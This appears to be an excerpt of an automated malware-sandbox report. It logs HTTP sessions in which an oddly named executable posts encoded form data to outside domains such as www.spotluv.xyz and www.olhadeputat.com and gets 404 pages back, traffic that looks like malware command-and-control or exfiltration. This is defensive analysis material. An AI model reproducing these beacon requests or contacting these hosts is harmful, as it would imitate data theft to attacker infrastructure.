38 66 6a 5a 57 6e 2b 57 53 70 78 6c 6b 74 44 75 79 7a 44 4a 54 64 39 64 2f 32 78 52 79 43 6a 68 49 70 53 75 65 2b 61 53 64 63 59 34 4e 63 32 55 32 31 4b 63 66 73 79 57 54 70 37 6e 47 6f 64 67 71 4a 66 2b 4d 65 39 68 74 6a 45 7a 69 4a 4b 7a 43 39 68 2b 73 45 53 72 61 4d 38 6e 50 57 4a 7a 61 7a 35 71 63 59 6c 31 58 6d 38 47 45 52 47 68 4e 59 56 4b 67 63 4b 79 49 56 76 44 4f 62 79 71 50 69 51 45 4c 49 35 2f 43 43 37 76 78 39 78 6a 32 72 66 49 75 73 6e 30 45 31 57 47 72 51 73 50 70 37 42 4f 65 2b 45 68 55 32 57 38 42 31 73 38 50 33 7a 2b 58 6e 32 77 4a 6e 6e 39 4a 35 7a 6d 44 52 49 47 4b 68 32 50 4b 63 30 49 4a 68 4d 67 78 55 54 78 4a 35 6b 4f 33 77 6b 38 66 6a 4a 73 39 68 37 61 55 50 33 70 53 59 79 38 67 74 4e 6e 34 33 48 76 75 56 75 57 63 6a 56 58 76 57 36 46 30 47 34 46 68 2b 67 78 78 56 2b 50 2b 75 55 55 41 37 44 30 [TRUNCATED] Data Ascii: vX=TQpyyhykb0+15aJINlpRsdmZKDX0NF4mEPVByAY42EL/wikcxre3HNsQ8Da8fjZWn+WSpxlktDuyzDJTd9d/2xRyCjhIpSue+aSdcY4Nc2U21KcfsyWTp7nGodgqJf+Me9htjEziJKzC9h+sESraM8nPWJzaz5qcYl1Xm8GERGhNYVKgcKyIVvDObyqPiQELI5/CC7vx9xj2rfIusn0E1WGrQsPp7BOe+EhU2W8B1s8P3z+Xn2wJnn9J5zmDRIGKh2PKc0IJhMgxUTxJ5kO3wk8fjJs9h7aUP3pSYy8gtNn43HvuVuWcjVXvW6F0G4Fh+gxxV+P+uUUA7D0Fz0QSzP6k/YyjeYA9vPKZgY8TVv5mYV+eNUrKWqpjPG5NeO1fb1SZX0rypnPGAUwRZuHjuscXpTqCBZKgHHfByyXfCGYDH3Cdn6yhYBo+nN4pEJCqklyhxl/CcauCvp7DS0NmYbT+2CBZ295eTBmbNsi/bd70oDMeqhyd6Tl9AAibxU13MPKgPxQpoqz+1v5Ck6CyV1ophPgZmPQxWyf/o3vpaMO4dMFUOQb5McwrMWKKHCzXimiedIZqJJqEnoAkfDFw10cHQPI95kRalAj76J/cd0hY4LXK7fN3x8A2JvMkFdDFSSu/yQh/Qvs3KAMh+PCAfIdEFTW8MQMIGjb67sVwNOfKJd+ZMCFs58UWIc5OjdxJJ1cgweAyebToyzq8VhDQOR0Ikf8MRIRH75/gyVgbjQHrW9beOFBE3ciQ86FaazKV5f6zL1magPiXGvVBpuInoyPgg0qVUCztKh0XnT4iVoSY3NMiTQGHht4Q76rd53fg/oCW2gYLUXfTQqTQOCqK9QYVVHiM0EnD33smPlfQhvIawydlMF/nWzArBv41fwrjFzaKXJvA9UFydcqFJAirC4DD9eTc3fzI0n80qtMrni+m4PjDsR9DJRc6kT0vehdzS82dvRvk2xH5CMWQlXtjgHDZf6JK5Qmq0pNUB2CitwPjL4pOk [TRUNCATED]
Jul 3, 2024 17:38:19.538407087 CEST	5156	OUT	Data Raw: 5a 5a 2b 6b 2b 49 77 5a 74 4b 58 63 38 34 52 59 73 44 45 35 74 55 6c 64 6a 70 34 68 61 79 65 4b 67 7a 38 45 58 36 54 49 67 49 68 59 48 50 74 6a 4b 6a 31 62 75 58 6b 74 6b 4d 6b 76 75 41 79 62 63 6b 41 73 72 2b 7a 6d 74 51 6d 39 39 50 71 39 42 45 Data Ascii: ZZ+k+IwZtKXc84RYsDE5tUldjp4hayeKgz8EX6TIgIhYHPtjKj1buXktkMkvuAybckAsr+zmtQm99Pq9BENLsFQoda0209g0deMXvPHvr3v3Z1qbyayrGdka5mAJtfjA1n9/ezuDQvlbd1IT1xKTvxLpzNif+78vCUMA29EuMLjIKU9vRYTBuD/wkLK+oplMJS+cYmjYhAwY8e5Lz68AzQrIzVtnhfBSJAqhKrYMR+3YTxJj6+7
Jul 3, 2024 17:38:19.538464069 CEST	3867	OUT	Data Raw: 64 57 41 30 4e 59 70 7a 4d 31 75 65 4c 53 58 67 30 4b 74 74 4d 7a 77 43 4e 6f 57 39 41 4b 2b 54 42 6d 74 2f 43 4a 50 32 57 6d 4e 50 47 30 33 62 71 34 39 37 51 53 70 42 6c 4c 57 55 53 30 51 74 75 6f 32 31 73 77 36 64 4d 75 71 68 52 69 31 2f 54 39 Data Ascii: dWA0NYpzM1ueLSXg0KttMzwCNoW9AK+TBmt/CJP2WmNPG03bq497QSpBlLWUS0Qtuo21sw6dMuqhRi1/T9Gn3mN2UX/6ywb9x6iiyo7AlASPyT3itzPg2FeXEXTrhd9YqcEJ2MMMW5yZCtlBmi9Z+ArEadPjAb+teFSFmtD2+I4urnNEKVkIdBUq/huzkwyyNmDkk9nvjLDsc5qMACrvLnvECk0L+Cai9AyTWP58TdhVPLIVI7k
Jul 3, 2024 17:38:19.713001013 CEST	1289	OUT	Data Raw: 52 49 4f 70 77 77 7a 6a 44 78 45 6a 74 5a 42 59 4b 58 79 76 6b 77 48 70 56 70 70 6b 38 76 54 70 53 6e 2f 4f 58 6a 6e 34 77 31 65 6f 6f 75 4f 4b 4d 4b 61 78 2b 71 67 69 62 2f 7a 71 64 30 30 68 5a 74 72 72 43 2b 42 45 38 69 51 63 6f 69 72 31 37 6e Data Ascii: RIOpwwzjDxEjtZBYKXyvkwHpVppk8vTpSn/OXjn4w1eoouOKMKax+qgib/zqd00hZtrrC+BE8iQcoir17nvdpVYgTmZ5EzZIhNxqKwmUdlQSBajzX81QbUpkGc4vKZUnsiP5gP6VygfGsPv60B9xDu5u0IBb2ezVXxgiWzI1bsEx1sCNlzq2C8zzayH4TFh3VLbqL0R6JU/2IJ2vDpCzmpNmCFJujVS6k859kie0oB+W50gmYke
Jul 3, 2024 17:38:19.713049889 CEST	2578	OUT	Data Raw: 4e 37 67 54 37 7a 30 4a 41 2b 63 78 6f 53 62 53 43 2f 6d 78 6d 39 46 38 34 4c 6e 70 4e 48 53 44 69 6b 59 68 57 6c 6c 6a 78 59 50 66 46 65 54 78 48 31 46 62 4b 7a 48 70 52 58 33 30 6b 39 51 42 38 4c 49 30 42 41 53 56 59 71 6d 32 66 58 31 71 7a 6f Data Ascii: N7gT7z0JA+cxoSbSC/mxm9F84LnpNHSDikYhWlljxYPfFeTxH1FbKzHpRX30k9QB8LI0BASVYqm2fX1qzo0jsE5f7qcJcpMX1ZbnAbH/i8rHXrRwTkDTTRSTCwVUBVDNuueXZQCGWuUvbfqoJELI0YMaxVrDTLsly/olB3mtuxaeLph31PNPH2ioqZ4wtOvpaDgG+gINbAaC6purGtFRao/D7Gw1vZs762ajsMQdgt1GAkuX18U
Jul 3, 2024 17:38:19.713098049 CEST	1289	OUT	Data Raw: 39 79 45 6a 6c 63 43 4d 54 51 66 74 44 48 63 6b 76 43 70 75 4c 53 46 78 4a 59 4a 62 56 52 42 32 45 57 64 4a 58 7a 53 34 4f 6d 72 30 67 51 35 71 71 67 70 49 67 78 52 4b 4b 39 2b 67 51 41 30 30 61 46 63 58 6b 2f 47 2b 70 61 44 38 52 41 64 4e 44 4f Data Ascii: 9yEjlcCMTQftDHckvCpuLSFxJYJbVRB2EWdJXzS4Omr0gQ5qqgpIgxRKK9+gQA00aFcXk/G+paD8RAdNDOLCvPSsxBP+I29tvQ2toyXvPB0ypN0Oo4n2beYBenYSLJJwOT5h2+WHYad5lTuTYKJNSvY3pEh8hxUFrOl+51RB/eiwoQ9RKUNR+1EXIAW0Uk/Zkf1hPIU+s6wYwi33CRTY1HqnZy5bbQv9bbxAwsHUrLhjcSmsMbN
Jul 3, 2024 17:38:19.713526011 CEST	9023	OUT	Data Raw: 44 62 6a 56 6c 55 34 52 38 45 76 66 72 74 30 73 72 50 2f 4a 65 6b 33 69 67 79 64 51 6c 4e 34 50 7a 35 4d 32 4d 32 34 50 6e 6c 52 6a 75 4e 4d 56 4d 7a 37 76 46 57 68 65 39 43 6d 52 5a 49 69 6b 58 32 53 6e 69 42 49 2f 79 7a 35 32 48 56 4d 51 61 54 Data Ascii: DbjVlU4R8Evfrt0srP/Jek3igydQlN4Pz5M2M24PnlRjuNMVMz7vFWhe9CmRZIikX2SniBI/yz52HVMQaThsCIe9SD1/mO2Bc+0XWn/weZ6z+IJrGUsmElbcmxOQTc1XVEvVXtj36eCDOLm9oP/dLPmKFEmADWLO2Z3SzHvJFEglhg9xah6tt7QjnSoSwwAxRnLOe32DoU72UsGYhtvaJxF1b/p/LLhQbfKOXpD3Ud5THZdBxXT
Jul 3, 2024 17:38:19.713577032 CEST	5156	OUT	Data Raw: 6b 56 4d 6d 65 34 2f 77 65 63 35 4b 44 46 77 45 4a 36 57 6b 72 6f 6b 2f 7a 61 71 62 79 35 59 76 77 69 48 45 61 70 34 73 4b 67 32 6d 79 55 57 35 64 36 35 46 6b 59 48 75 76 42 49 77 75 4b 58 70 45 30 57 77 4a 47 59 4a 54 6e 38 4a 61 43 6a 4e 47 6f Data Ascii: kVMme4/wec5KDFwEJ6Wkrok/zaqby5YvwiHEap4sKg2myUW5d65FkYHuvBIwuKXpE0WwJGYJTn8JaCjNGoefVsODzyAXKlSq0xcdhJIoUnPKQhr6UMBh+WMxWW/ykW7tMzmOdpjtSUMwxiXDrQ4FtzzoG93lffoa9vK2Bk4MDtfBkJikVFHzdbu94EDpyuKhyWGVG6bjj2OF3dObaOxcnfK5DbS8AysyKcMmI+xCTS6/N2ZA7UO
Jul 3, 2024 17:38:19.713633060 CEST	2578	OUT	Data Raw: 6a 6d 2f 32 75 58 45 70 42 35 42 43 6d 42 76 75 64 31 4e 4b 68 73 34 58 4c 51 5a 4d 56 46 41 2f 68 46 46 31 70 78 47 47 53 6b 6e 73 76 41 50 34 4b 39 78 68 62 72 33 6a 49 63 6d 36 6f 30 4a 71 31 77 37 35 46 75 38 67 6d 78 62 67 5a 5a 4a 44 30 47 Data Ascii: jm/2uXEpB5BCmBvud1NKhs4XLQZMVFA/hFF1pxGGSknsvAP4K9xhbr3jIcm6o0Jq1w75Fu8gmxbgZZJD0GVxHosh13fy4S/2mJQ7a31QdZ9upUdiou7PBF4gXe5zq95BM+WtidbwokEGHhi0sw6FtLnkXCXS+bc7CvG1mKd4pZo/OWE3Y7VEajuFGeO54FMhNetQ25ySD0IQhwSxIiR15EPdk7HhJga0O+jTwACtMfT3YDmg05W
Jul 3, 2024 17:38:19.713802099 CEST	3867	OUT	Data Raw: 51 74 33 5a 6c 59 38 50 47 50 4d 69 43 50 38 41 33 44 47 37 30 4d 34 74 4f 66 2f 59 37 63 66 4e 2f 67 6a 6a 6e 43 39 79 31 72 55 56 6f 74 7a 42 36 70 36 6e 64 54 68 48 44 44 58 6f 4d 74 45 77 56 66 76 6e 46 53 45 52 4c 4b 38 68 4f 58 4f 58 35 54 Data Ascii: Qt3ZlY8PGPMiCP8A3DG70M4tOf/Y7cfN/gjjnC9y1rUVotzB6p6ndThHDDXoMtEwVfvnFSERLK8hOXOX5TOtK8ZR4URE+nWkHISic7RFyarUpVilQtRNNka9sLxDEmv0H6fTl4aWB395Ps19hbnmuIG3Ez/L5qtdftg9vUMiyWcvSz6NMa2jS6fYwdTSKtHIB6oZfX0VfYM11e6+RPaecIZOdDyDjTrZQPhdmLofvVAYkKMZNr4
Jul 3, 2024 17:38:19.892807007 CEST	1289	OUT	Data Raw: 46 69 51 4d 5a 56 58 49 57 6d 54 4e 6f 5a 73 50 6c 4a 37 4a 73 61 6b 31 4c 50 79 48 57 6a 7a 4b 37 38 2b 75 6c 49 36 45 52 42 72 69 30 6f 35 58 73 4f 73 41 36 55 32 6c 46 65 61 47 6c 5a 6d 57 34 64 46 41 75 56 34 67 59 4a 55 49 30 57 51 30 47 6d Data Ascii: FiQMZVXIWmTNoZsPlJ7Jsak1LPyHWjzK78+ulI6ERBri0o5XsOsA6U2lFeaGlZmW4dFAuV4gYJUI0WQ0GmQBcCgznhkR06KtNnwZcICEPOkW69OKPB5WBkOFC/TQJvJU1LnzAzui0VAATB31AUwHAYCUD4aPU3NvHLcpR3xz74W+MDOphG9HejuT2mYWwq784az/0HkZfj7+EmHNKC1VcxqJZkipHfa+P8yD5HGVZn28W5YBYJ+
Jul 3, 2024 17:38:20.098349094 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Wed, 03 Jul 2024 15:38:19 GMT Server: Apache Content-Length: 16052 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/42.css"></head><body>... partial:index.partial.html --><main> <svg viewBox="0 0 541.17206 328.45184" height="328.45184" width="541.17206" id="svg2" version="1.1"> <metadata id="metadata8"> </metadata> <defs id="defs6"> <pattern patternUnits="userSpaceOnUse" width="1.5" height="1" patternTransform="translate(0,0) scale(10,10)" id="Strips2_1"> <rect style="fill:black;stroke:none" x="0" y="-0.5" width="1" height="2" id="rect5419" /> </pattern> <linearGradient osb:paint="solid" id="linearGradient6096"> <stop id="stop6094" offset="0" [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.11.20	49802	203.161.50.127	80	7100	C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:38:22.262573957 CEST	519	OUT	GET /pci0/?_B7=LxyxWrj8kri0gh&vX=eSBSxWzRVUHV/fBDA1gktKapDAjXHwIYGqgWiDMm1TKOgAQN0YKNcvcCpBWCJxpF3POgg0Ef/1qs6yZQX/5+pidIDj1j3gicnpT8MY0pZ20V89EBh37W5PY= HTTP/1.1 Host: www.spotluv.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10
Jul 3, 2024 17:38:22.447380066 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Wed, 03 Jul 2024 15:38:22 GMT Server: Apache Content-Length: 16052 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/42.css"></head><body>... partial:index.partial.html --><main> <svg viewBox="0 0 541.17206 328.45184" height="328.45184" width="541.17206" id="svg2" version="1.1"> <metadata id="metadata8"> </metadata> <defs id="defs6"> <pattern patternUnits="userSpaceOnUse" width="1.5" height="1" patternTransform="translate(0,0) scale(10,10)" id="Strips2_1"> <rect style="fill:black;stroke:none" x="0" y="-0.5" width="1" height="2" id="rect5419" /> </pattern> <linearGradient osb:paint="solid" id="linearGradient6096"> <stop id="stop6094" offset="0" [TRUNCATED]
Jul 3, 2024 17:38:22.447443962 CEST	1289	IN	Data Raw: 22 74 72 61 6e 73 6c 61 74 65 28 31 37 30 2e 31 34 35 31 35 2c 30 2e 30 33 38 31 36 34 29 22 0a 20 20 20 20 20 20 20 69 64 3d 22 6c 61 79 65 72 31 22 3e 0a 20 20 20 20 20 20 3c 67 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 67 36 32 31 39 22 0a 20 Data Ascii: "translate(170.14515,0.038164)" id="layer1"> <g id="g6219" > <path transform="matrix(1.0150687,0,0,11.193923,-1.3895945,-2685.7441)" style="display:inline;fill:#000000;fill-opacity:1
Jul 3, 2024 17:38:22.447549105 CEST	1289	IN	Data Raw: 39 39 20 7a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 23 30 30 30 30 30 30 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 30 2e 32 Data Ascii: 99 z" style="display:inline;fill:#000000;stroke:none;stroke-width:0.23743393px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4496" d="m 85.115421,100.5729 c -0.00
Jul 3, 2024 17:38:22.447562933 CEST	1289	IN	Data Raw: 72 6f 6b 65 2d 77 69 64 74 68 3a 31 2e 30 30 31 35 37 34 37 35 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 34 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 2d 6f 70 61 63 69 74 79 3a 31 3b 22 Data Ascii: roke-width:1.00157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /> <path id="path4513" d="m 74.6875,125.03748 c -8.394789,7.68654 -16.790624,15.37405 -23.988969,22.38484 -7.198345,7.0108 -
Jul 3, 2024 17:38:22.447741032 CEST	1289	IN	Data Raw: 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 3a 23 30 30 30 30 30 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 70 78 3b 73 74 72 6f 6b 65 2d 6c 69 6e 65 63 61 70 3a 62 75 74 74 3b 73 74 72 6f 6b 65 2d 6c 69 6e Data Ascii: ay:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4521" d="m 96.8125,126.22498 c 6.89586,6.45836 13.7917,12.9167 19.98957,19.14
Jul 3, 2024 17:38:22.447756052 CEST	1289	IN	Data Raw: 32 33 2e 36 36 32 34 38 20 63 20 36 2e 31 35 39 38 38 35 2c 31 31 2e 35 31 37 37 31 20 31 32 2e 33 31 39 39 36 2c 32 33 2e 30 33 35 37 37 20 31 36 2e 38 33 37 32 34 2c 33 31 2e 37 38 39 30 34 20 34 2e 35 31 37 32 38 2c 38 2e 37 35 33 32 37 20 37 Data Ascii: 23.66248 c 6.159885,11.51771 12.31996,23.03577 16.83724,31.78904 4.51728,8.75327 7.29964,14.54985 9.24424,18.32123 1.9446,3.77138 3.00519,5.42118 4.1838,9.19262 1.17861,3.77144 2.47477,9.6631 1.94443,23.80647 -0.53034,14.14338 -2.88706,36.5322
Jul 3, 2024 17:38:22.447869062 CEST	1289	IN	Data Raw: 34 31 32 34 38 32 2c 31 39 2e 34 34 35 38 35 20 31 2e 30 30 31 37 31 31 2c 33 36 2e 38 38 37 30 31 20 31 2e 35 39 30 39 39 39 2c 35 34 2e 33 32 39 39 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 Data Ascii: 412482,19.44585 1.001711,36.88701 1.590999,54.32995" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4545"
Jul 3, 2024 17:38:22.447884083 CEST	1289	IN	Data Raw: 36 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 6d 20 34 32 2e 34 32 36 34 30 37 2c 31 35 35 2e 33 38 38 32 35 20 63 20 33 2e 34 31 38 34 2c 30 2e 38 32 35 31 33 20 36 2e 38 33 36 30 38 32 2c 31 2e 36 35 30 30 39 20 31 30 2e 36 30 36 39 Data Ascii: 6" d="m 42.426407,155.38825 c 3.4184,0.82513 6.836082,1.65009 10.606997,2.18034 3.770916,0.53024 7.89657,0.76599 11.608535,0.88382 3.711965,0.11782 7.012548,0.11782 10.429711,0.0589 3.417163,-0.0589 6.953769,-0.17681 10.606588,-0.
Jul 3, 2024 17:38:22.448076010 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 20 20 20 69 64 3d 22 70 61 74 68 34 36 31 34 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 6f 70 61 63 69 74 79 3a 31 3b 66 69 6c 6c 3a 23 30 30 30 30 30 30 3b 66 Data Ascii: id="path4614" style="display:inline;opacity:1;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:1.00157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /> <ellipse
Jul 3, 2024 17:38:22.448122025 CEST	1289	IN	Data Raw: 30 2e 31 33 30 31 20 7a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 6f 70 61 63 69 74 79 3a 31 3b 66 69 6c 6c 3a 23 30 30 30 30 30 30 3b 66 69 6c 6c 2d 6f 70 61 63 69 74 79 3a 31 3b 66 69 6c 6c 2d 72 75 6c 65 3a 6e 6f 6e 7a Data Ascii: 0.1301 z" style="opacity:1;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:1.00157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /> <path transform="translate(-170
Jul 3, 2024 17:38:22.621212959 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 31 37 30 2e 31 34 35 31 35 2c 2d 30 2e 30 33 38 31 36 34 29 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 70 61 74 68 34 36 31 30 22 0a Data Ascii: transform="translate(-170.14515,-0.038164)" id="path4610" d="m 318,180.45184 c 0.66667,0 1.33434,0 1.501,0.16616 0.16667,0.16617 -0.16667,0.49951 0.001,0.66667 0.16767,0.16717 0.68771,0.16717 0.89053,0.3694

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.11.20	49803	172.67.146.224	80	7100	C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:38:27.957123995 CEST	791	OUT	POST /ieqg/ HTTP/1.1 Host: www.olhadeputat.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.olhadeputat.com Referer: http://www.olhadeputat.com/ieqg/ Content-Length: 199 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10 Data Raw: 76 58 3d 38 4d 77 54 4d 43 41 45 41 57 6d 68 7a 5a 78 34 6a 2b 4e 4e 66 34 61 36 44 46 44 61 43 69 34 37 68 77 76 38 43 67 70 48 4a 70 4d 75 6a 42 66 65 4a 73 6b 56 74 78 6a 67 4d 4a 4c 6a 33 2f 62 69 48 59 33 50 4d 63 30 68 54 43 43 4e 50 6f 4d 70 50 54 31 32 6d 2f 66 51 6e 38 35 57 75 57 4c 57 37 47 7a 66 4a 79 44 44 49 59 48 54 52 54 4b 51 55 7a 79 46 4e 47 57 59 50 38 45 58 70 75 78 49 59 53 64 70 54 73 6b 64 48 34 75 35 74 62 77 48 48 6b 70 44 34 7a 79 66 32 51 63 6f 49 44 53 6e 31 4d 50 57 6e 56 5a 49 37 55 66 6d 38 59 61 37 52 65 54 41 57 71 63 30 47 73 37 57 42 6e 4f 6c 76 51 3d 3d Data Ascii: vX=8MwTMCAEAWmhzZx4j+NNf4a6DFDaCi47hwv8CgpHJpMujBfeJskVtxjgMJLj3/biHY3PMc0hTCCNPoMpPT12m/fQn85WuWLW7GzfJyDDIYHTRTKQUzyFNGWYP8EXpuxIYSdpTskdH4u5tbwHHkpD4zyf2QcoIDSn1MPWnVZI7Ufm8Ya7ReTAWqc0Gs7WBnOlvQ==
Jul 3, 2024 17:38:28.196312904 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Wed, 03 Jul 2024 15:38:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close X-Powered-By: ASP.NET CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=D1KfYUODC9rRl6oCVbOiEn1Atas4taJDBfsZofnl3UtmUkX%2BOwItBL%2BE76nNUUAhQbRYxewhwV%2BXKcUw%2BV6Ki85DEBAA1TnKZArLh4pmhQWZXkTcAO2WRvSWipnUgql6V4kb%2Btvi"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89d7f6751bd389ec-ORD Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 Data Raw: 32 61 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8c 54 df 6f 9b 30 10 7e 8f 94 ff e1 4a d4 b7 80 21 69 ba 86 10 a4 2d 4d d4 49 ed 56 ad d9 af 47 07 2e c1 2a d8 cc 76 48 58 d4 ff 7d 32 10 92 56 7d 18 48 9c 7d fa be bb fb ce 67 82 8b db af b3 e5 ef c7 39 24 3a 4b e1 f1 fb a7 fb cf 33 b0 6c 42 7e 0e 67 84 dc 2e 6f e1 d7 dd f2 e1 1e 3c c7 85 27 2d 59 a4 09 99 7f b1 c0 4a b4 ce 7d 42 76 bb 9d b3 1b 3a 42 6e c8 f2 1b d9 9b 28 9e a1 35 4b 5b 55 1c 27 d6 b1 15 76 3b 41 95 65 9f a5 5c 4d df 89 e0 8d c7 e3 9a 58 83 91 c6 c6 66 a8 29 18 b4 8d 7f b6 ac 98 5a 33 c1 35 72 6d 2f cb 1c 2d 88 ea dd d4 d2 b8 d7 c4 b0 27 10 25 54 2a d4 53 a6 84 7d 73 33 1a db 9e 45 4c 28 cd 74 8a e1 95 7b 05 36 2c 58 8a 20 24 c4 4c 62 a4 85 2c 81 0b 